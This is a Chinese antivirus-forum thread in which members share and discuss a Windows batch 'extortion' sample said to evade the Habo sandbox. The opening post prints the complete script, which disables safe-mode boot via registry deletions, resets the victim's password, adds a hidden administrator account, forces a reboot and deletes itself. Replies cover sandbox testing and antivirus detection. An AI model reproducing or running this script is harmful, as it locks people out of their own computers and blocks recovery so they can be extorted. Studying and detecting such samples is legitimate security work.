敲竹杠样本（作者机智绕过哈勃分析）

显示全部楼层 · 发表于 2017-2-8 09:51:43

@shift
@echo off
reg add "HKEY_LOCAL_MACHINE\SYSTEM\Select" /v LastKnownGood /t REG_DWORD /d 00000001 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ReportBootOk /t REG_SZ /d 0 /f
reg delete "HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\" /f
reg delete "HKEY_CURRENT_USER\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
net user %username% shenmian
net user ShenMian /add
net user ShenMian shenmian
net user administrators ShenMian /add
shutdown -r -f -t 1 -c "ShenMian"
del /s /f /q %0

…………
额，所以是怎么绕过的

显示全部楼层 · 发表于 2017-2-8 10:26:32

B100D1E55 发表于 2017-2-8 09:51
@shift
@echo off
reg add "HKEY_LOCAL_MACHINE\SYSTEM\Select" /v LastKnownGood /t REG_DWORD /d 00000 ...

HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\ 这里果然很机智

显示全部楼层 · 发表于 2017-2-8 10:27:55

本帖最后由 68221281 于 2017-2-8 10:48 编辑

弄错了

影子好像没法重启，如果这个样本需要的话，就没法测试了。
不过，不重启直接运行样本，comodo全部允许的话，是没被锁的。

显示全部楼层 · 发表于 2017-2-8 10:38:56

68221281 发表于 2017-2-8 10:27
comodo 关了沙箱双击，全部允许。没发现加密的文件。
现在调用cmd.exe的程序，往往都会被重点关照吧，感觉 ...

这是勒索？看清楚是什么

显示全部楼层 · 发表于 2017-2-8 10:40:48

B100D1E55 发表于 2017-2-8 09:51
@shift
@echo off
reg add "HKEY_LOCAL_MACHINE\SYSTEM\Select" /v LastKnownGood /t REG_DWORD /d 00000 ...

你居然没看出来？慢慢看

https://habo.qq.com/file/showdet ... pk=ADYGbl1rB28IOVs0

显示全部楼层 · 发表于 2017-2-8 10:46:37

欧阳宣发表于 2017-2-8 07:14
ALYac Spyware.33940 20170207
AVG Win32/DH{OQk2gRY?} 20170207
Ad-Aware Spyware.33940 20170207

这里面唯独没有NOD32

显示全部楼层 · 发表于 2017-2-8 10:52:56

先下来试试

显示全部楼层 · 发表于 2017-2-8 10:56:55

学雷锋做人发表于 2017-2-8 10:40
你居然没看出来？慢慢看

https://habo.qq.com/file/showdetail?md5=c7f618896db9cfda77248be25ae09f88 ...

我不是哈勃高级会员没法看详情，刚刚提交了申请不知道要多久通过。。。

显示全部楼层 · 发表于 2017-2-8 10:57:59

密码多少来着。。。

显示全部楼层 · 发表于 2017-2-8 10:59:03

B100D1E55 发表于 2017-2-8 10:56
我不是哈勃高级会员没法看详情，刚刚提交了申请不知道要多久通过。。。

哈哈，我以前申请当天就批了

[病毒样本] 敲竹杠样本（作者机智绕过哈勃分析）